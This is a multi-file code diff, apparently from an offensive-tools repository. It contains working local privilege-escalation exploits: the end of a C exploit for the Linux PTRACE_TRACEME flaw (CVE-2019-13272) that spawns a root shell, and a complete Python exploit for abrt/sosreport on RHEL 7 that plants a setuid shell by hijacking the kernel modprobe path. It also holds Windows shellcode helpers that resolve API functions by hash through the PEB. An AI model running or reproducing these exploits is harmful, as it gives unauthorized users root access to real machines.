||||
SAFE(setresuid(0, 0, 0));
|
||||
execlp(SHELL, basename(SHELL), NULL);
|
||||
dprintf("[-] execlp: Executing shell %s failed", SHELL);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int check_env(void) {
|
||||
int warn = 0;
|
||||
const char* xdg_session = getenv("XDG_SESSION_ID");
|
||||
|
||||
dprintf("[.] Checking environment ...\n");
|
||||
|
||||
if (stat(pkexec_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[-] Warning: grsec is in use\n");
|
||||
warn++;
|
||||
}
|
||||
if (xdg_session == NULL) {
|
||||
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
|
||||
warn++;
|
||||
}
|
||||
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
dprintf("[!] Warning: Could not find active PolKit agent\n");
|
||||
warn++;
|
||||
}
|
||||
if (stat("/usr/sbin/getsebool", &st) == 0) {
|
||||
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
|
||||
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
|
||||
warn++;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[~] Done, looks good\n");
|
||||
|
||||
return warn;
|
||||
}
|
||||
|
||||
/*
|
||||
* Use pkaction to search PolKit policy actions for viable helper executables.
|
||||
* Check each action for allow_active=yes, extract the associated helper path,
|
||||
* and check the helper path exists.
|
||||
*/
|
||||
int find_helpers() {
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
|
||||
FILE *fp;
|
||||
fp = popen(cmd, "r");
|
||||
if (fp == NULL) {
|
||||
dprintf("[-] Failed to run: %s\n", cmd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char line[1024];
|
||||
char buffer[2048];
|
||||
int helper_index = 0;
|
||||
int useful_action = 0;
|
||||
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
|
||||
int needle_length = strlen(needle);
|
||||
|
||||
while (fgets(line, sizeof(line)-1, fp) != NULL) {
|
||||
/* check the action uses allow_active=yes*/
|
||||
if (strstr(line, "implicit active:")) {
|
||||
if (strstr(line, "yes")) {
|
||||
useful_action = 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (useful_action == 0)
|
||||
continue;
|
||||
useful_action = 0;
|
||||
|
||||
/* extract the helper path */
|
||||
int length = strlen(line);
|
||||
char* found = memmem(&line[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
continue;
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= sizeof(buffer)-1)
|
||||
continue;
|
||||
buffer[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
|
||||
strstr(&buffer[0], "/cpugovctl") != 0 ||
|
||||
strstr(&buffer[0], "/package-system-locked") != 0 ||
|
||||
strstr(&buffer[0], "/cddistupgrader") != 0) {
|
||||
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* check the path exists */
|
||||
if (stat(&buffer[0], &st) != 0)
|
||||
continue;
|
||||
|
||||
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
|
||||
helper_index++;
|
||||
|
||||
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
|
||||
break;
|
||||
}
|
||||
|
||||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int ptrace_traceme_root() {
|
||||
dprintf("[.] Using helper: %s\n", helper_path);
|
||||
|
||||
/*
|
||||
* set up a pipe such that the next write to it will block: packet mode,
|
||||
* limited to one packet
|
||||
*/
|
||||
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
|
||||
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
|
||||
char dummy = 0;
|
||||
SAFE(write(block_pipe[1], &dummy, 1));
|
||||
|
||||
/* spawn pkexec in a child, and continue here once our child is in execve() */
|
||||
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
|
||||
static char middle_stack[1024*1024];
|
||||
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
|
||||
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
|
||||
if (!middle_success) return 1;
|
||||
|
||||
/*
|
||||
* wait for our child to go through both execve() calls (first pkexec, then
|
||||
* the executable permitted by polkit policy).
|
||||
*/
|
||||
while (1) {
|
||||
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
|
||||
char buf[16];
|
||||
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
|
||||
buf[buflen] = '\0';
|
||||
*strchrnul(buf, '\n') = '\0';
|
||||
if (strncmp(buf, basename(helper_path), 15) == 0)
|
||||
break;
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
/*
|
||||
* our child should have gone through both the privileged execve() and the
|
||||
* following execve() here
|
||||
*/
|
||||
dprintf("[.] Tracing midpid ...\n");
|
||||
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
|
||||
SAFE(waitpid(midpid, &dummy_status, 0));
|
||||
dprintf("[~] Attached to midpid\n");
|
||||
|
||||
force_exec_and_wait(midpid, 0, "stage2");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (strcmp(argv[0], "stage2") == 0)
|
||||
return middle_stage2();
|
||||
if (strcmp(argv[0], "stage3") == 0)
|
||||
return spawn_shell();
|
||||
|
||||
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
|
||||
|
||||
check_env();
|
||||
|
||||
if (argc > 1 && strcmp(argv[1], "check") == 0) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* Search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
int i;
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) == 0) {
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
/* Search polkit policies for helper executables */
|
||||
dprintf("[.] Searching for useful helpers ...\n");
|
||||
find_helpers();
|
||||
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
|
||||
if (helpers[i] == NULL)
|
||||
break;
|
||||
|
||||
if (stat(helpers[i], &st) == 0) {
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/python
|
||||
# CVE-2015-5287 (?)
|
||||
# abrt/sosreport RHEL 7.0/7.1 local root
|
||||
# rebel 09/2015
|
||||
|
||||
# [user@localhost ~]$ python sosreport-rhel7.py
|
||||
# crashing pid 19143
|
||||
# waiting for dump directory
|
||||
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
|
||||
# waiting for sosreport directory
|
||||
# sosreport: sosreport-localhost.localdomain-20151130194114
|
||||
# waiting for tmpfiles
|
||||
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
|
||||
# moving directory
|
||||
# moving tmpfiles
|
||||
# tmpurfpyY -> tmpurfpyY.old
|
||||
# tmpYnCfnQ -> tmpYnCfnQ.old
|
||||
# waiting for sosreport to finish (can take several minutes)........................................done
|
||||
# success
|
||||
# bash-4.2# id
|
||||
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
# bash-4.2# cat /etc/redhat-release
|
||||
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
|
||||
|
||||
import os,sys,glob,time,sys,socket
|
||||
|
||||
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
|
||||
|
||||
pid = os.fork()
|
||||
|
||||
if pid == 0:
|
||||
os.execl("/usr/bin/sleep","sleep","100")
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
print "crashing pid %d" % pid
|
||||
|
||||
os.kill(pid,11)
|
||||
|
||||
print "waiting for dump directory"
|
||||
|
||||
def waitpath(p):
|
||||
while 1:
|
||||
r = glob.glob(p)
|
||||
if len(r) > 0:
|
||||
return r
|
||||
time.sleep(0.05)
|
||||
|
||||
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
|
||||
|
||||
print "dump directory: ", dumpdir
|
||||
|
||||
os.chdir(dumpdir)
|
||||
|
||||
print "waiting for sosreport directory"
|
||||
|
||||
sosreport = waitpath("sosreport-*")[0]
|
||||
|
||||
print "sosreport: ", sosreport
|
||||
|
||||
print "waiting for tmpfiles"
|
||||
tmpfiles = waitpath("tmp*")
|
||||
|
||||
print "tmpfiles: ", tmpfiles
|
||||
|
||||
print "moving directory"
|
||||
|
||||
os.rename(sosreport, sosreport + ".old")
|
||||
os.mkdir(sosreport)
|
||||
os.chmod(sosreport,0777)
|
||||
|
||||
os.mkdir(sosreport + "/sos_logs")
|
||||
os.chmod(sosreport + "/sos_logs",0777)
|
||||
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
|
||||
|
||||
print "moving tmpfiles"
|
||||
|
||||
for x in tmpfiles:
|
||||
print "%s -> %s" % (x,x + ".old")
|
||||
os.rename(x, x + ".old")
|
||||
open(x, "w+").write("/tmp/hax.sh\n")
|
||||
os.chmod(x,0666)
|
||||
|
||||
|
||||
os.chdir("/")
|
||||
|
||||
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
|
||||
|
||||
|
||||
def trigger():
|
||||
open("/tmp/hax.sh","w+").write(payload)
|
||||
os.chmod("/tmp/hax.sh",0755)
|
||||
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
|
||||
except: pass
|
||||
time.sleep(0.5)
|
||||
try:
|
||||
os.stat("/tmp/sh")
|
||||
except:
|
||||
print "could not create suid"
|
||||
sys.exit(-1)
|
||||
print "success"
|
||||
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
|
||||
sys.exit(-1)
|
||||
|
||||
for x in xrange(0,60*10):
|
||||
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
|
||||
print "done"
|
||||
trigger()
|
||||
time.sleep(1)
|
||||
sys.stderr.write(".")
|
||||
|
||||
print "timed out"
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,224 @@
|
||||
/*
|
||||
chacha-merged.c version 20080118
|
||||
D. J. Bernstein
|
||||
Public domain.
|
||||
*/
|
||||
|
||||
/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned int u32;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 input[16]; /* could be compressed */
|
||||
} chacha_ctx;
|
||||
|
||||
#define U8C(v) (v##U)
|
||||
#define U32C(v) (v##U)
|
||||
|
||||
#define U8V(v) ((u8)(v) & U8C(0xFF))
|
||||
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
|
||||
|
||||
#define ROTL32(v, n) \
|
||||
(U32V((v) << (n)) | ((v) >> (32 - (n))))
|
||||
|
||||
#define U8TO32_LITTLE(p) \
|
||||
(((u32)((p)[0]) ) | \
|
||||
((u32)((p)[1]) << 8) | \
|
||||
((u32)((p)[2]) << 16) | \
|
||||
((u32)((p)[3]) << 24))
|
||||
|
||||
#define U32TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
(p)[2] = U8V((v) >> 16); \
|
||||
(p)[3] = U8V((v) >> 24); \
|
||||
} while (0)
|
||||
|
||||
#define ROTATE(v,c) (ROTL32(v,c))
|
||||
#define XOR(v,w) ((v) ^ (w))
|
||||
#define PLUS(v,w) (U32V((v) + (w)))
|
||||
#define PLUSONE(v) (PLUS((v),1))
|
||||
|
||||
#define QUARTERROUND(a,b,c,d) \
|
||||
a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
|
||||
c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
|
||||
a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
|
||||
c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
|
||||
|
||||
static const char sigma[16] = "expand 32-byte k";
|
||||
static const char tau[16] = "expand 16-byte k";
|
||||
|
||||
static void
|
||||
chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
|
||||
{
|
||||
const char *constants;
|
||||
|
||||
x->input[4] = U8TO32_LITTLE(k + 0);
|
||||
x->input[5] = U8TO32_LITTLE(k + 4);
|
||||
x->input[6] = U8TO32_LITTLE(k + 8);
|
||||
x->input[7] = U8TO32_LITTLE(k + 12);
|
||||
if (kbits == 256) { /* recommended */
|
||||
k += 16;
|
||||
constants = sigma;
|
||||
} else { /* kbits == 128 */
|
||||
constants = tau;
|
||||
}
|
||||
x->input[8] = U8TO32_LITTLE(k + 0);
|
||||
x->input[9] = U8TO32_LITTLE(k + 4);
|
||||
x->input[10] = U8TO32_LITTLE(k + 8);
|
||||
x->input[11] = U8TO32_LITTLE(k + 12);
|
||||
x->input[0] = U8TO32_LITTLE(constants + 0);
|
||||
x->input[1] = U8TO32_LITTLE(constants + 4);
|
||||
x->input[2] = U8TO32_LITTLE(constants + 8);
|
||||
x->input[3] = U8TO32_LITTLE(constants + 12);
|
||||
}
|
||||
|
||||
static void
|
||||
chacha_ivsetup(chacha_ctx *x,const u8 *iv)
|
||||
{
|
||||
x->input[12] = 1;
|
||||
x->input[13] = U8TO32_LITTLE(iv + 0);
|
||||
x->input[14] = U8TO32_LITTLE(iv + 4);
|
||||
x->input[15] = U8TO32_LITTLE(iv + 8);
|
||||
}
|
||||
|
||||
static void
|
||||
chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
|
||||
{
|
||||
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
|
||||
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
|
||||
u8 *ctarget = NULL;
|
||||
u8 tmp[64];
|
||||
u32 i;
|
||||
|
||||
if (!bytes) return;
|
||||
|
||||
j0 = x->input[0];
|
||||
j1 = x->input[1];
|
||||
j2 = x->input[2];
|
||||
j3 = x->input[3];
|
||||
j4 = x->input[4];
|
||||
j5 = x->input[5];
|
||||
j6 = x->input[6];
|
||||
j7 = x->input[7];
|
||||
j8 = x->input[8];
|
||||
j9 = x->input[9];
|
||||
j10 = x->input[10];
|
||||
j11 = x->input[11];
|
||||
j12 = x->input[12];
|
||||
j13 = x->input[13];
|
||||
j14 = x->input[14];
|
||||
j15 = x->input[15];
|
||||
|
||||
for (;;) {
|
||||
if (bytes < 64) {
|
||||
for (i = 0;i < bytes;++i) tmp[i] = m[i];
|
||||
m = tmp;
|
||||
ctarget = c;
|
||||
c = tmp;
|
||||
}
|
||||
x0 = j0;
|
||||
x1 = j1;
|
||||
x2 = j2;
|
||||
x3 = j3;
|
||||
x4 = j4;
|
||||
x5 = j5;
|
||||
x6 = j6;
|
||||
x7 = j7;
|
||||
x8 = j8;
|
||||
x9 = j9;
|
||||
x10 = j10;
|
||||
x11 = j11;
|
||||
x12 = j12;
|
||||
x13 = j13;
|
||||
x14 = j14;
|
||||
x15 = j15;
|
||||
for (i = 20;i > 0;i -= 2) {
|
||||
QUARTERROUND( x0, x4, x8,x12)
|
||||
QUARTERROUND( x1, x5, x9,x13)
|
||||
QUARTERROUND( x2, x6,x10,x14)
|
||||
QUARTERROUND( x3, x7,x11,x15)
|
||||
QUARTERROUND( x0, x5,x10,x15)
|
||||
QUARTERROUND( x1, x6,x11,x12)
|
||||
QUARTERROUND( x2, x7, x8,x13)
|
||||
QUARTERROUND( x3, x4, x9,x14)
|
||||
}
|
||||
x0 = PLUS(x0,j0);
|
||||
x1 = PLUS(x1,j1);
|
||||
x2 = PLUS(x2,j2);
|
||||
x3 = PLUS(x3,j3);
|
||||
x4 = PLUS(x4,j4);
|
||||
x5 = PLUS(x5,j5);
|
||||
x6 = PLUS(x6,j6);
|
||||
x7 = PLUS(x7,j7);
|
||||
x8 = PLUS(x8,j8);
|
||||
x9 = PLUS(x9,j9);
|
||||
x10 = PLUS(x10,j10);
|
||||
x11 = PLUS(x11,j11);
|
||||
x12 = PLUS(x12,j12);
|
||||
x13 = PLUS(x13,j13);
|
||||
x14 = PLUS(x14,j14);
|
||||
x15 = PLUS(x15,j15);
|
||||
|
||||
#ifndef KEYSTREAM_ONLY
|
||||
x0 = XOR(x0,U8TO32_LITTLE(m + 0));
|
||||
x1 = XOR(x1,U8TO32_LITTLE(m + 4));
|
||||
x2 = XOR(x2,U8TO32_LITTLE(m + 8));
|
||||
x3 = XOR(x3,U8TO32_LITTLE(m + 12));
|
||||
x4 = XOR(x4,U8TO32_LITTLE(m + 16));
|
||||
x5 = XOR(x5,U8TO32_LITTLE(m + 20));
|
||||
x6 = XOR(x6,U8TO32_LITTLE(m + 24));
|
||||
x7 = XOR(x7,U8TO32_LITTLE(m + 28));
|
||||
x8 = XOR(x8,U8TO32_LITTLE(m + 32));
|
||||
x9 = XOR(x9,U8TO32_LITTLE(m + 36));
|
||||
x10 = XOR(x10,U8TO32_LITTLE(m + 40));
|
||||
x11 = XOR(x11,U8TO32_LITTLE(m + 44));
|
||||
x12 = XOR(x12,U8TO32_LITTLE(m + 48));
|
||||
x13 = XOR(x13,U8TO32_LITTLE(m + 52));
|
||||
x14 = XOR(x14,U8TO32_LITTLE(m + 56));
|
||||
x15 = XOR(x15,U8TO32_LITTLE(m + 60));
|
||||
#endif
|
||||
|
||||
j12 = PLUSONE(j12);
|
||||
if (!j12) {
|
||||
j13 = PLUSONE(j13);
|
||||
/* stopping at 2^70 bytes per nonce is user's responsibility */
|
||||
}
|
||||
|
||||
U32TO8_LITTLE(c + 0,x0);
|
||||
U32TO8_LITTLE(c + 4,x1);
|
||||
U32TO8_LITTLE(c + 8,x2);
|
||||
U32TO8_LITTLE(c + 12,x3);
|
||||
U32TO8_LITTLE(c + 16,x4);
|
||||
U32TO8_LITTLE(c + 20,x5);
|
||||
U32TO8_LITTLE(c + 24,x6);
|
||||
U32TO8_LITTLE(c + 28,x7);
|
||||
U32TO8_LITTLE(c + 32,x8);
|
||||
U32TO8_LITTLE(c + 36,x9);
|
||||
U32TO8_LITTLE(c + 40,x10);
|
||||
U32TO8_LITTLE(c + 44,x11);
|
||||
U32TO8_LITTLE(c + 48,x12);
|
||||
U32TO8_LITTLE(c + 52,x13);
|
||||
U32TO8_LITTLE(c + 56,x14);
|
||||
U32TO8_LITTLE(c + 60,x15);
|
||||
|
||||
if (bytes <= 64) {
|
||||
if (bytes < 64) {
|
||||
for (i = 0;i < bytes;++i) ctarget[i] = c[i];
|
||||
}
|
||||
x->input[12] = j12;
|
||||
x->input[13] = j13;
|
||||
return;
|
||||
}
|
||||
bytes -= 64;
|
||||
c += 64;
|
||||
#ifndef KEYSTREAM_ONLY
|
||||
m += 64;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
#ifndef _KERNEL_UTIL
|
||||
#define _KERNEL_UTIL
|
||||
|
||||
typedef BOOL (WINAPI *FuncCreateProcess) (
|
||||
LPCTSTR lpApplicationName,
|
||||
LPTSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCTSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFO lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncSetHandleInformation)
|
||||
(
|
||||
HANDLE hObject,
|
||||
DWORD dwMask,
|
||||
DWORD dwFlags
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncReadFile)
|
||||
(
|
||||
HANDLE hFile,
|
||||
LPVOID lpBuffer,
|
||||
DWORD nNumberOfBytesToRead,
|
||||
LPDWORD lpNumberOfBytesToRead,
|
||||
LPOVERLAPPED lpOverlapped
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncWriteFile)
|
||||
(
|
||||
HANDLE hFile,
|
||||
LPCVOID lpBuffer,
|
||||
DWORD nNumberOfBytesToWrite,
|
||||
LPDWORD lpNumberOfBytesWritten,
|
||||
LPOVERLAPPED lpOverlapped
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncPeekNamedPipe)
|
||||
(
|
||||
HANDLE hNamedPipe,
|
||||
LPVOID lpBuffer,
|
||||
DWORD nBufferSize,
|
||||
LPDWORD nBytesRead,
|
||||
LPDWORD lpTotalBytesAvailable,
|
||||
LPDWORD lpBytesLeftThisMessage
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncCreatePipe)
|
||||
(
|
||||
PHANDLE hReadPipe,
|
||||
PHANDLE hWritePipe,
|
||||
LPSECURITY_ATTRIBUTES lpPipeAttributes,
|
||||
DWORD nSize
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncCloseHandle)
|
||||
(
|
||||
HANDLE hObject
|
||||
);
|
||||
|
||||
typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
|
||||
(
|
||||
UINT uFlags,
|
||||
SIZE_T dwBytes
|
||||
);
|
||||
|
||||
typedef HGLOBAL (WINAPI *FuncGlobalFree)
|
||||
(
|
||||
HGLOBAL hMem
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *FuncHeapCreate)
|
||||
(
|
||||
DWORD flOptions,
|
||||
SIZE_T dwInitialize,
|
||||
SIZE_T dwMaximumSize
|
||||
);
|
||||
|
||||
typedef LPVOID (WINAPI *FuncHeapAlloc)
|
||||
(
|
||||
HANDLE hHeap,
|
||||
DWORD dwFlags,
|
||||
SIZE_T dwBytes
|
||||
);
|
||||
|
||||
typedef VOID (WINAPI *FuncSleep)
|
||||
(
|
||||
DWORD dwMilliseconds
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
|
||||
|
||||
typedef BOOL (WINAPI *FuncGetExitCodeProcess)
|
||||
(
|
||||
HANDLE hProcess,
|
||||
LPDWORD lpExitCode
|
||||
);
|
||||
|
||||
typedef VOID (WINAPI *FuncExitProcess)
|
||||
(
|
||||
UINT uExitCode
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncCloseHandle)
|
||||
(
|
||||
HANDLE hObject
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncVirtualProtect)
|
||||
(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect
|
||||
);
|
||||
|
||||
typedef LPVOID (WINAPI *FuncVirtualAlloc)
|
||||
(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *FuncVirtualFree)
|
||||
(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,152 @@
|
||||
/*
|
||||
* This code is provided under the 3-clause BSD license below.
|
||||
* ***********************************************************
|
||||
*
|
||||
* Copyright (c) 2013, Matthew Graeber
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _PAYLOAD_UTIL
|
||||
#define _PAYLOAD_UTIL
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
|
||||
LPTSTR lpFileName
|
||||
);
|
||||
|
||||
// This compiles to a ROR instruction
|
||||
// This is needed because _lrotr() is an external reference
|
||||
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
|
||||
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
|
||||
|
||||
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
|
||||
typedef struct _MY_PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
BOOL Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
|
||||
{
|
||||
PPEB PebAddress;
|
||||
PMY_PEB_LDR_DATA pLdr;
|
||||
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
|
||||
PVOID pModuleBase;
|
||||
PIMAGE_NT_HEADERS pNTHeader;
|
||||
DWORD dwExportDirRVA;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir;
|
||||
PLIST_ENTRY pNextModule;
|
||||
DWORD dwNumFunctions;
|
||||
USHORT usOrdinalTableIndex;
|
||||
PDWORD pdwFunctionNameBase;
|
||||
PCSTR pFunctionName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
DWORD dwModuleHash;
|
||||
DWORD dwFunctionHash;
|
||||
PCSTR pTempChar;
|
||||
DWORD i;
|
||||
|
||||
#if defined(_WIN64)
|
||||
PebAddress = (PPEB) __readgsqword( 0x60 );
|
||||
#else
|
||||
PebAddress = (PPEB) __readfsdword( 0x30 );
|
||||
#endif
|
||||
|
||||
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
|
||||
pNextModule = pLdr->InLoadOrderModuleList.Flink;
|
||||
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
|
||||
|
||||
while (pDataTableEntry->DllBase != NULL)
|
||||
{
|
||||
dwModuleHash = 0;
|
||||
pModuleBase = pDataTableEntry->DllBase;
|
||||
BaseDllName = pDataTableEntry->BaseDllName;
|
||||
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
|
||||
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
|
||||
|
||||
